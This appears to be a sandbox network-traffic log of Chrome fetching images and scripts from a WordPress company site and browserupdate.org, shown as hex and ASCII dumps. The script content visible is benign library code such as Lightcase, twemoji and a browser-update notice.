2024-10-07 11:17:04 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 13 May 2019 07:49:36 GMT Accept-Ranges: bytes Content-Length: 6215 Content-Type: image/png
2024-10-07 11:17:04 UTC	6215	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 c7 00 00 00 63 08 06 00 00 00 ee 06 cb fe 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 07 74 49 4d 45 07 e3 05 0d 07 31 0c ac 2a c9 3d 00 00 00 19 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 47 49 4d 50 57 81 0e 17 00 00 17 af 49 44 41 54 78 da ed 5d 5f 88 24 c7 7d fe f6 72 84 3c 45 13 25 f8 29 f8 e6 12 10 71 08 ba d9 04 12 08 39 dd 8c c1 24 0e 21 37 6b b0 f2 e7 e5 7a 2c e4 c3 0f f6 ee 5a d8 41 b5 d0 37 db e1 ca 09 89 b5 b7 f8 21 f6 85 64 67 fd 12 90 82 76 2f 6f 16 31 3b a7 83 40 04 d1 8d 50 12 02 7e b8 96 71 44 02 41 19 eb 31 0f da 3c f4 6f a4 d1 dc f4 4c 55 75 d5 4c f7 cc f7 c1 61 90 7b Data Ascii: PNGIHDRcbKGDCpHYs.#.#x?vtIME1*=tEXtCommentCreated with GIMPWIDATx]_$}r<E%)q9$!7kz,ZA7!dgv/o1;@P~qDA1<oLUuLa{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49815	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	507	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:04 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:07 GMT Accept-Ranges: bytes Content-Length: 42720 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:04 UTC	7923	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 63 61 73 65 20 3d 20 7b 0a 09 09 63 61 63 68 65 20 3a 20 7b 7d 2c 0a 0a 09 09 73 75 70 70 6f 72 74 20 3a 20 7b Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */;(function ($) {window.lightcase = {cache : {},support : {
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 09 09 09 27 61 6c 74 27 20 3a 20 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 74 69 74 6c 65 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 63 61 73 65 20 27 69 6e 6c 69 6e 65 27 20 3a 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 20 3d 20 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 27 20 2b 20 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 50 72 65 66 69 78 20 2b 20 27 69 6e 6c 69 6e 65 57 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 2e 68 74 6d 6c 28 6c 69 67 68 74 63 61 73 65 2e 63 6c 6f 6e 65 4f 62 6a 65 63 74 28 24 28 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 75 72 6c 29 29 29 3b 0a 0a 09 09 09 09 09 2f 2f 20 41 64 64 20 63 75 Data Ascii: 'alt' : lightcase.objectData.title});break;case 'inline' :$object = $('<div class="' + lightcase.settings.classPrefix + 'inlineWrap"></div>');$object.html(lightcase.cloneObject($(lightcase.objectData.url)));// Add cu
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 78 48 65 69 67 68 74 29 20 26 26 20 21 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 66 6f 72 63 65 48 65 69 67 68 74 29 20 7b 0a 09 09 09 09 09 09 09 64 69 6d 65 6e 73 69 6f 6e 73 2e 6f 62 6a 65 63 74 48 65 69 67 68 74 20 3d 20 64 69 6d 65 6e 73 69 6f 6e 73 2e 6d 61 78 48 65 69 67 68 74 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 61 64 6a 75 73 74 44 69 6d 65 6e 73 69 6f 6e 73 28 24 6f 62 6a 65 63 74 2c 20 64 69 6d 65 6e 73 69 6f 6e 73 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 41 64 6a 75 73 74 73 20 74 68 65 20 64 69 6d 65 6e 73 69 6f 6e 73 0a 09 09 20 2a 0a 09 09 20 2a 20 40 70 61 72 61 6d 09 7b 6f 62 6a 65 63 74 7d 09 24 6f 62 6a 65 63 74 0a 09 09 20 2a 20 40 70 Data Ascii: xHeight) && !lightcase.settings.forceHeight) {dimensions.objectHeight = dimensions.maxHeight;}}}lightcase.adjustDimensions($object, dimensions);},/** * Adjusts the dimensions * * @param{object}$object * @p
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 09 09 09 09 24 70 6c 61 79 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 61 72 74 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 24 70 61 75 73 65 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 6f 70 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 0a 09 09 09 09 2f 2f 20 45 6e 61 62 6c 65 20 73 77 69 70 69 6e 67 20 69 66 20 61 63 74 69 76 61 Data Ascii: $play.click(function (event) {event.preventDefault();lightcase.startTimeout();});$pause.click(function (event) {event.preventDefault();lightcase.stopTimeout();});}// Enable swiping if activa
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 73 74 61 72 74 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 73 74 61 72 74 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 65 6e 64 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 65 6e 64 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 24 6f 62 6a 65 63 74 2e 63 73 73 28 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 29 2e 73 68 6f 77 28 29 3b 0a 0a 09 09 09 09 2f 2f 20 43 73 73 20 74 72 61 6e 73 69 74 Data Ascii: }}startTransition['opacity'] = startOpacity;startTransition[direction] = startOffset;endTransition['opacity'] = endOpacity;endTransition[direction] = endOffset;$object.css(startTransition).show();// Css transit
2024-10-07 11:17:04 UTC	2797	IN	Data Raw: 65 2e 61 74 74 72 28 27 61 72 69 61 2d 68 69 64 64 65 6e 27 2c 20 27 74 72 75 65 27 29 3b 0a 0a 09 09 09 24 6e 61 76 2e 63 68 69 6c 64 72 65 6e 28 29 2e 68 69 64 65 28 29 3b 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 72 65 73 74 6f 72 65 53 63 72 6f 6c 6c 50 6f 73 69 74 69 6f 6e 28 29 3b 0a 09 09 09 0a 09 09 09 2f 2f 20 43 61 6c 6c 20 6f 6e 43 6c 6f 73 65 20 68 6f 6f 6b 20 66 75 6e 63 74 69 6f 6e 73 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 63 61 6c 6c 48 6f 6f 6b 73 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 6f 6e 43 6c 6f 73 65 29 3b 0a 0a 09 09 09 73 77 69 74 63 68 20 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 74 72 61 6e 73 69 74 69 6f 6e 4f 75 74 29 20 7b 0a 09 09 09 09 63 61 73 65 20 27 66 61 64 65 27 20 3a 0a 09 Data Ascii: e.attr('aria-hidden', 'true');$nav.children().hide();lightcase.restoreScrollPosition();// Call onClose hook functionslightcase.callHooks(lightcase.settings.onClose);switch (lightcase.settings.transitionOut) {case 'fade' :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49814	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	657	OUT	GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:04 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 18726 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:04 UTC	7923	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 6a 64 65 63 6b 65 64 2f 74 77 65 6d 6f 6a 69 40 31 35 2e 30 2e 33 2f 61 73 73 65 74 73 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:funct
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 63 5c 75 64 66 66 65 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 Data Ascii: ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]\|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud8
2024-10-07 11:17:04 UTC	2803	IN	Data Raw: 28 29 7b 76 61 72 20 6e 2c 75 2c 65 3d 63 2e 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 57 65 62 4b 69 74 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 4d 6f 7a 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 Data Ascii: (){var n,u,e=c.MutationObserver\|\|c.WebKitMutationObserver\|\|c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49817	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:04 UTC	477	OUT	GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:04 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:34 GMT Accept-Ranges: bytes Content-Length: 39618 Content-Type: image/jpeg
2024-10-07 11:17:04 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: fe d8 cb 8c 43 20 75 db 71 ba 53 8c 78 16 4b 52 78 f0 3a 25 e4 3c e9 8e 49 bf c2 91 90 02 74 d4 4c e5 5b 4f 3f 0b 02 47 fb 8f 8c 72 3a a1 45 a2 34 c5 00 e3 03 1a ce a8 3f 1a 1a d4 07 74 f8 50 1b 22 89 24 0e 84 e9 33 40 6c 28 04 f5 03 59 72 ee 45 4d 41 3d 2f 54 0e 2a 83 5e 80 d5 cc 52 04 2f 1c 7a 03 af ca 8d 31 3b 1a 55 27 e9 01 b2 2a ea c4 08 be 63 4b b1 26 68 d4 b5 05 62 c5 0b 62 e5 34 9f 90 58 6e a6 b6 65 cb 8e 17 70 99 cd 88 0d de 6e 7e 1a d2 85 b9 d2 94 ed f8 ae f6 9d 73 34 a3 db 69 f2 2e b9 f8 0a f4 3c 6f 19 e8 ae 42 10 13 7d cc 83 c8 ce ac c0 a0 2c 40 a9 88 ec 2e e5 dc 5e a5 be cc 4b e9 f7 0f 1f b3 5a d9 c0 fe df c2 ed a9 99 dc b2 9a 1e 07 a1 84 86 81 e3 75 26 9e c3 fe df cb c9 78 97 2f 27 80 fe 08 9a 9f f7 c8 a7 ec ad cc 6e cb db b1 9c 24 10 89 65 Data Ascii: C uqSxKRx:%<ItL[O?Gr:E4?tP"$3@l(YrEMA=/T^R/z1;U'cK&hbb4Xnepn~s4i.<oB},@.^KZu&x/'n$e
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 7f f8 83 6a 92 e6 60 00 be f2 37 c4 0f bd a4 d5 83 19 26 b1 fb 9b dd 11 7e 35 4c 86 b0 b4 07 c4 03 41 69 73 00 01 5a 0d fc eb 81 4b e3 ca cf 6b 98 43 d7 2e 34 3b d4 98 73 f1 dd fe 8b df 2a 6a 1a d2 9f 35 4a 1e 5c dc f8 8e 01 85 2e 5c e5 3f 26 7e da a4 2d 8a 36 f1 0d 56 05 e2 01 4d ca 1a b8 c3 9f 29 e0 63 b7 99 02 e1 40 b5 6d aa 92 4f b4 0e a6 0f 16 61 4b ee 27 a0 de 17 b7 e1 cb 94 48 8c b9 c4 05 40 43 1a 9f 0b fd b5 47 81 1b b8 b1 81 ae d0 90 14 af 9d cd 7b 94 b8 ae 2c 0e 2c 7b 55 a4 34 f4 b1 b8 a9 c6 c9 11 49 cd c1 7a 7e ea 02 5e d9 c5 30 af 68 ff 00 78 60 20 0a 86 d4 df b8 9f e5 06 e3 23 4f 17 82 0e a8 6d 41 56 b4 12 e2 ae 69 40 de a0 dc 1a 6f 26 71 39 0f 21 18 d5 b9 f1 a4 23 71 96 63 c5 bc 8b c8 01 a3 c2 c0 01 4c c7 c9 94 16 14 7a 88 bc bc 54 d2 9b 1d Data Ascii: j`7&~5LAisZKkC.4;s*j5J\.\?&~-6VM)c@mOaK'H@CG{,,{U4Iz~^0hx` #OmAVi@o&q9!#qcLzT
2024-10-07 11:17:04 UTC	8000	IN	Data Raw: 16 ba fc a9 39 72 9c ae 02 a8 55 8f 4c 25 12 dd 89 3d a4 2b 58 2f ad 0d f2 17 5a aa 02 eb 73 b0 a2 00 51 34 f0 ac 0a 07 ac d9 56 82 a6 eb e7 44 6b 6d a9 f2 a8 04 02 89 7e 95 76 87 95 e2 db 7d f5 c6 68 97 69 70 21 df e2 d4 66 b8 a6 b4 26 b2 54 fa 4e a8 2d f8 55 8b 5c df a9 a9 d6 84 80 7b 43 10 96 df 4d c5 11 09 fd 82 82 d9 10 a1 2b f6 d1 41 ba f5 da 80 82 21 08 56 d9 c3 a8 de b4 71 11 ac 72 14 f4 9e 2e f3 1d 2b 35 b6 4d bc 7a f9 53 98 e4 27 0e ba d2 72 8b 58 dc 7b c2 e1 37 1b 3a 51 14 c0 38 34 73 43 d4 68 7e 75 b1 0e 33 20 6f 16 b8 15 dc d6 0e 06 3c f8 b9 ee 71 0b 14 8d 2d 0f d8 1b 38 69 5b 1c 88 de a5 f2 14 f2 a5 7f 69 00 d7 49 47 8c 1b 81 e4 28 de bf 68 cf 26 b7 53 48 66 66 b4 7a 5a 47 87 8d 0b 23 2c 37 d0 cb b8 8b d6 79 71 24 9d 96 e7 70 6b b1 78 fa f2 Data Ascii: 9rUL%=+X/ZsQ4VDkm~v}hip!f&TN-U\{CM+A!Vqr.+5MzS'rX{7:Q84sCh~u3 o<q-8i[iIG(h&SHffzZG#,7yq$pkx
2024-10-07 11:17:04 UTC	7660	IN	Data Raw: e2 50 86 fb 46 f8 ea dc ec 6c 37 9a 5c 94 a6 ab 6f 1a 65 a4 58 74 a0 46 db 7f 30 b5 f6 34 f4 30 87 07 3e 44 64 6d 42 e7 92 80 57 9a e4 09 e9 a0 27 68 36 11 60 d5 23 a7 95 49 29 b0 be fb de ae ec fe df 17 a6 36 ba 55 b1 76 9f 7d eb c6 7c 6c 85 74 5a 36 dc 48 d3 e1 41 ee dc a9 03 b9 85 ec d8 3a 93 d8 48 6f 86 a6 e3 6a b7 14 26 c5 7a fe ca 18 1a db cf 64 ab 7d 56 27 6f 2a e3 38 4b 97 05 44 f0 3f 0f 1a f0 05 c1 05 d7 41 fb eb cc e4 4a 0b 93 67 5b 6a 7b 1b 11 a5 bc dd 66 85 2a ea 5b b8 51 66 10 17 03 0c 61 bf d4 90 86 b4 7a 89 3d 29 1f ee 1c d7 8c 4c 77 61 a0 6b 5e 41 91 2f 71 d2 83 9b 9e fc a9 84 71 9e 38 ed b0 1d 7f 99 c9 46 89 b8 d9 70 7e 9a 73 c5 be 69 7f 0a 6a 63 e0 c9 97 20 ba 37 c7 b0 fe 70 80 f9 11 f1 29 a2 c2 81 db 51 1c fe df 73 df da e3 7c 8f 32 39 Data Ascii: PFl7\oeXtF040>DdmBW'h6`#I)6Uv}\|ltZ6HA:Hoj&zd}V'o8KD?AJg[j{f[Qfaz=)Lwak^A/qq8Fp~sijc 7p)Qs\|29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49818	172.67.137.41	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:04 UTC	532	OUT	GET /update.min.js HTTP/1.1 Host: browserupdate.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:04 UTC	759	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:04 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 9354 Connection: close Cache-Control: max-age=86400 Content-Disposition: inline; filename=update.min.js Expires: Tue, 08 Oct 2024 10:33:46 GMT Last-Modified: Sun, 29 Sep 2024 17:05:39 GMT CF-Cache-Status: HIT Age: 2597 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oJzLkoNHVMcEFGCogGcN7YaQ8uLZb2v2QcHxKPM4AikXNVvAPI2x1DD7%2FYoAHQRxxZWJidGQzitfao%2BggGsBtTbEns4tKorx1SaryU%2F6VA%2FtZPftImFbeKGjuHN%2FrNIk2dV5kg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b8fc90d4367-EWR
2024-10-07 11:17:04 UTC	610	IN	Data Raw: 2f 2f 28 63 29 32 30 32 31 2c 20 4d 49 54 20 53 74 79 6c 65 20 4c 69 63 65 6e 73 65 20 3c 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 4c 49 43 45 4e 53 45 2e 74 78 74 3e 0d 0a 2f 2f 69 74 20 69 73 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 74 6f 20 64 69 72 65 63 74 6c 79 20 6c 69 6e 6b 20 74 6f 20 74 68 69 73 20 66 69 6c 65 20 62 65 63 61 75 73 65 20 77 65 20 75 70 64 61 74 65 20 74 68 65 20 64 65 74 65 63 74 69 6f 6e 20 63 6f 64 65 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 5f 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 68 69 73 3b 74 68 69 73 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 33 2e 35 34 22 3b 74 68 69 73 2e 76 73 61 6b 74 3d 7b 63 3a 22 31 32 38 22 2c 66 3a 22 31 33 30 22 2c 73 3a 22 31 37 2e Data Ascii: //(c)2021, MIT Style License <browser-update.org/LICENSE.txt>//it is recommended to directly link to this file because we update the detection code"use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.
